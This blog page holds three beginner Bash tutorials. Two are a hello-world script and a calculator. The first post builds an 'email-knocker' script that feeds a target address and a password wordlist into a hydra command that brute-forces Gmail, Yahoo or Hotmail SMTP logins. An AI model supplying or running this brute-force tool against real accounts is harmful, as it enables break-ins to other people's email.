Showing posts with label Bash. Show all posts
Showing posts with label Bash. Show all posts

Friday, June 21, 2019

bash make a simple email-bruter

welcome to hacking a rise I’m the Laughingman here to teach ya how to make a simple script for brute forcing emails using hydra it mite work it mite not work but the main thing is you are learning bash so lets go on ….

What is bash

Bash is a Unix shell and command language written by Brian Fox for the GNU Project as a free software replacement for the Bourne shell. First released in 1989, it has been distributed widely as the default login shell for most Linux distributions and Apple’s macOS
FIND OUT MORE HERE

the bash santax we will be using

  • figlet this will gave use the banner when the script is loaded
  • echo repeats what ever we type in the ” ”
  • read this is mostly used with $ to tell your system to read the input user provides it been name age in are case email and world list
  • writing the script

    So open your fav text editor and strat with the frist part the script

      #!/bin/bash

    then we add figlet for a banner

      figlet email-knocker

    then are echo commands

      echo “hacking a rise ”
      echo “mead by laughingman ”
      echo “make sure you have your wordlist handy”
      echo “Lets go”
      echo Choose a SMTP service: Gmail = smtp.gmail.com / Yahoo = smtp.mail.yahoo.com / Hotmail = smtp.live.com /:

    now are we add read

      read smtp

    and the rest

      echo Enter Email Address:
      read email
      echo Provide Directory of Wordlist for Passwords:
      read wordlist

    then we add hydra commands with $ to tell the system to use the email and wordlist we typed in

      hydra -S -l $email -P $wordlist -e ns -V -s 465 $smtp smtp

    Hacking A Rise codebash1-300x105

    now we save it as a .sh file

    right to run the file go to were its saves mines in desktop so i go to my desktop and right click open in terminal and type chmod +x emailknocker.sh then ./emailknocker.sh to run it

    Hacking A Rise promissions-300x23

    and it should look something like this
    Hacking A Rise emailknocker-300x150

    Monday, June 10, 2019

    Bash part one Hello Hacking a rise

    welcome to hacking a rise in this post we going to show you some basic Bash (aka shell) scripting with a script called hello world we going to explain with bash is and with the functions are as we progress on this part the blog now instead reading this and get stuck in to this

    What is Bash

    Bash is a Unix shell and command language written by Brian Fox for the GNU Project as a free software replacement for the Bourne shell. First released in 1989, it has been distributed widely as the default login shell for most Linux distributions and Apple’s macOS

    Your First Script: “Hello, Hackingarise!”

    For your first script, we will start with a simple program that returns a
    message to the screen that says “Hello, Hackingarise!” Open your text
    editor, and let’s go.
    To start, you need to tell your operating system which interpreter you
    want to use for the script. To do this, enter a shebang, which is a
    combination of a hash mark and an exclamation mark, like so:
    #!
    You then follow the shebang ( #! ) with /bin/bash to indicate that you
    want the operating system to use the bash shell interpreter. As you’ll see
    in later chapters, you could also use the shebang to use other interpreters,
    such as Perl or Python. Here, you want to use the bash interpreter, so
    enter the following:
    #! /bin/bash
    Next, enter the echo command, which tells the system to simply repeat
    (or echo) back to your monitor whatever follows the command.
    In this case, we want the system to echo back to us with hello hacking a rise

    #! /bin/bash
    # the first bash script i worte whoop whoop
    echo “Hello, Hackingarise!”

    see a line that’s preceded by a hash mark ( # ). This is a
    comment, which is a note you leave to yourself or anyone else reading the
    code to explain what you’re doing in the script. Programmers use
    comments in every coding language.

    #! /bin/bash
    Next, enter the echo command, which tells the system to simply repeat
    or echo back to your monitor whatever follows the command. In this case, we want the system to echo back to us “Hello, hackingrise!”
    then gave gave is permission to run so type this command chmod +x hackingarise.sh

    Hacking A Rise scripthackingarise-300x43

    Hacking A Rise bashecho-300x67

    So, now we have a simple script. All it does is echo back a message to standard output. If we want to create more advanced scripts we will likely
    need to add some variables. There ya go your first script in bash well done

    in the next post we talk a little about Adding Functionality with Variables and User Input to scripts till next time peace out bitches

    Saturday, March 2, 2019

    BASICS OF BASH SCRIPTING

    Bash aka (shell) is used mostly in the Unix and Linux systems this the commands we use Example ls list files in a directory or are mostly use cd changes the shells current working directory. Bash is great to write scripts with as it easy to learn and faster to script

    so open your fav text editor and type the following line
    #!/bin/sh

    Hacking A Rise favtextediter

    the first line tells Unix that the file is to be executed by /bin/sh this the standard location of the shell on just about every Unix/Linux system this includes mac if you use termux #!/data/data/com.termux/files/usr/bin/bash

    the next line type # my first script

    the # symbol is use with out the ! as this marks the line as a comment and its ignored by the shell

    new line type echo “HACKING A RISE ”

    Hacking A Rise ECHO

    echo is use for read only command you type echo ” HACKING A RISE ” in terminal it will read whats in the brackets

    so now we save the script so press Ctrl and s to save the script name it myscript.sh and save to root

    now that its saved lets see does it work so open terminal and type chmod +x myscript.sh and press enter

    Hacking A Rise chmod

    now type ./myscript.sh

    Hacking A Rise Hackingariseecho

    the output should be this HACKING A RISE

    congrats you just wrote a simple script look lets start adding some more lines

    so now we are going to man a calculator in bash to be ran in terminal

    here the commands/statement we are Using
    1. echo
    echo is one of the mostly used command.
    It is used to print a line of text in standard output.

    $ echo [-neE] [arg …]
    2. read
    The command read in the Linux is used to read the input from the keyboard.

    3. Switch-Case
    When there are a lot of if statement in Shell and it becomes confusing. Then it is good to use case statement.

    4. bc Command
    bc command is used for command line calculator. It is similar to basic calculator by using which we can do basic mathematical calculations. Arithmetic operations are the most basic in any kind of programming.

    # !/bin/bash

    # the Input
    echo “Enter Two numbers : ”
    read a
    read b

    Hacking A Rise INPUT

    # Input type of operation
    echo “Enter Choice :”
    echo “1. Addition”
    echo “2. Subtraction”
    echo “3. Multiplication”
    echo “4. Division”
    read ch

    Hacking A Rise input2

    # calculator operations
    case $ch in
    1)res=`echo $a + $b | bc`
    ;;
    2)res=`echo $a – $b | bc`
    ;;
    3)res=`echo $a \* $b | bc`
    ;;
    4)res=`echo “scale=2; $a / $b” | bc`
    ;;
    esac
    echo “Result : $res”

    Hacking A Rise input3

    Full script

    Hacking A Rise fullscript

    save it to Desktop or were want

    now lets run it

    cd Desktop

    chmod 755 ./myscript.sh

    ./myscript.sh

    Hacking A Rise chmod

    YUP SNOTS IT WORKS !!!!!!

    Hacking A Rise itwoks

    Now u know a little bit of bash now u can start making simple scripts to automate your life in hacking

    Related